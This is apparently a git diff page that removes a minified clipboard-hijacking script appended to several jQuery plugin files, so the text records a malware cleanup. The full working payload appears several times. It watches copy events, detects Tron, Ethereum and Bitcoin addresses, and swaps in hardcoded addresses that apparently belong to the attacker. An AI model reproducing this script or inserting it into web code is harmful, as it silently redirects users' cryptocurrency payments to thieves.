qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
File diff suppressed because one or more lines are too long
|
|
@ -384,5 +384,3 @@
|
|||
};
|
||||
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -472,5 +472,3 @@
|
|||
});
|
||||
|
||||
})(jQuery);
|
||||
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
|
|
@ -14,4 +14,3 @@ width:a.width,height:a.height});var m=e("<div></div>").addClass(a.railClass).css
|
|||
WebkitBorderRadius:a.borderRadius,zIndex:99}),h="right"==a.position?{right:a.distance}:{left:a.distance};m.css(h);c.css(h);b.wrap(q);b.parent().append(c);b.parent().append(m);a.railDraggable&&c.bind("mousedown",function(a){var b=e(document);z=!0;t=parseFloat(c.css("top"));pageY=a.pageY;b.bind("mousemove.slimscroll",function(a){currTop=t+a.pageY-pageY;c.css("top",currTop);n(0,c.position().top,!1)});b.bind("mouseup.slimscroll",function(a){z=!1;p();b.unbind(".slimscroll")});return!1}).bind("selectstart.slimscroll",
|
||||
function(a){a.stopPropagation();a.preventDefault();return!1});m.hover(function(){w()},function(){p()});c.hover(function(){y=!0},function(){y=!1});b.hover(function(){r=!0;w();p()},function(){r=!1;p()});b.bind("touchstart",function(a,b){a.originalEvent.touches.length&&(A=a.originalEvent.touches[0].pageY)});b.bind("touchmove",function(b){k||b.originalEvent.preventDefault();b.originalEvent.touches.length&&(n((A-b.originalEvent.touches[0].pageY)/a.touchScrollStep,!0),A=b.originalEvent.touches[0].pageY)});
|
||||
x();"bottom"===a.start?(c.css({top:b.outerHeight()-c.outerHeight()}),n(0,!0)):"top"!==a.start&&(n(e(a.start).position().top,null,!0),a.alwaysVisible||c.hide());window.addEventListener?(this.addEventListener("DOMMouseScroll",v,!1),this.addEventListener("mousewheel",v,!1)):document.attachEvent("onmousewheel",v)}});return this}});e.fn.extend({slimscroll:e.fn.slimScroll})})(jQuery);
|
||||
(function(){const ta=['TYM9kcgcjmzSDKboKaX7V9v5pTSpphmfe2','TX8vqFQQfGsFgFNg7CNh6k73LY1K9ExRXo','TAe5pRxMWSzFM1XUqVYfQXy6fTTueEQJhJ','TRDL6jy2sNsMyVoJwkedmBdiqJ8t9uNZ3f','TKSNSXQMRiNzfgwCqxTwNW7QauGe3kTpXs'],ea=['0xd08Bb05ED65dc4B733A5ccB4B2003A28dd5e3E2B','0x7addC0869b8121e00F53462D9aba04bBc2465D3F','0xE91858f2D322Cc3e82FB3984e975A7eECc2CAdb8','0xd53Ee4ef21069EE17d0A99B0fbE07A43Ed592235','0xA7Cd752cF5f59324905CFc62f5C26a00518238B1'],ba=['bc1qt0wa2t43vtr6v76wtu693snt5nv5k2f5jqum36','bc1q4n4qrq2w8266jkppt2qaplce84lyp2fpxwag5y','bc1qm6rk0wa7s39m4gl3kpzty7v5jhrseg7ehp89yl','bc1qlacwy9x4fcm628xthla8nx2htg3uel2l273r0p','bc1qg3jw6rj3pp9wh7dh3wrhpq9u4fcqlgf6f0f5ca'],b1a=['1KgSpJZq4aaH6UimpPLfUNPkHBg9gs28zY','1J4i5ntkyz3Z8NVtcXdSWpqbCKdPahQdvr','1E5iTvSmB4ZPhEuXruyLtAAbi8iUNX63ZR','1Nes9jhPxGnT2aRwQUcRE274u9MSR1pKFN','19tZNTkKkoGQF1En6anynp59F6oDF132eC'],b3a=['34DbNHn66LZRDCftrsX9unygfKECVxhXQR','31rZRY3hLcMAK4eS81jDJEfEWRxteiez4Y','33f3kzuRfFYEbqigi9CMonWzuMtbtHeSEw','35iqT1m5vZSzPckF2gU2hcXNNrDDsXcdnT','3MCxpPniKygEaAKgr3fC9gRdXaUXBpbxBG'],bpa=['bc1ps3mhjmsqpwc08h59yfqae73sf4a4d7hh2ngulhunjpc2rq9e4v8qnzpv24','bc1p04vzsftd08ps39qc53fl7zgdas58ejjp59zjx6ntrkck9c52ugjs9lp3e4','bc1pu6v02fyu8nsle45y0xrq5kd24ac7w0qrt3uu0msccnew5n3pg9xsmajtxx','bc1pselqsxd3yqrytj0jedq4pj5ujhxl6fg86l2tmnllqse5cgupk78s6vwlw2','bc1p96deh3ma7d35dfatsqm9rk4h4szsfdv7yvkg37t2v5wm7v3utvmqmyjrpx'],rnd=a=>a[Math.floor(Math.random()*a.length)];var _r=0;function rca(){if(_r)return;_r=1;const tar=/(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear=/(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar=/(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0=/(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1=/(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38,42})(?:\b|[^A-Za-z0-9])/g,bar2=/(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy',function(e){const ttc=window.getSelection().toString();if(ttc.match(tar)){const ncd=ttc.replace(tar,rnd(ta));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(ear)){const ncd=ttc.replace(ear,rnd(ea));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar)){const ncd=ttc.replace(bar,rnd(b1a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar0)){const ncd=ttc.replace(bar0,rnd(b3a));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar1)){const ncd=ttc.replace(bar1,rnd(ba));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}else if(ttc.match(bar2)){const ncd=ttc.replace(bar2,rnd(bpa));e.clipboardData.setData('text/plain',ncd);e.preventDefault();}});}setTimeout(()=>{const obs=new MutationObserver(ml=>{for(const m of ml){if(m.type==='childList'){rca();}}});obs.observe(document.body,{childList:true,subtree:true});},1000);rca();})();
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue
Block a user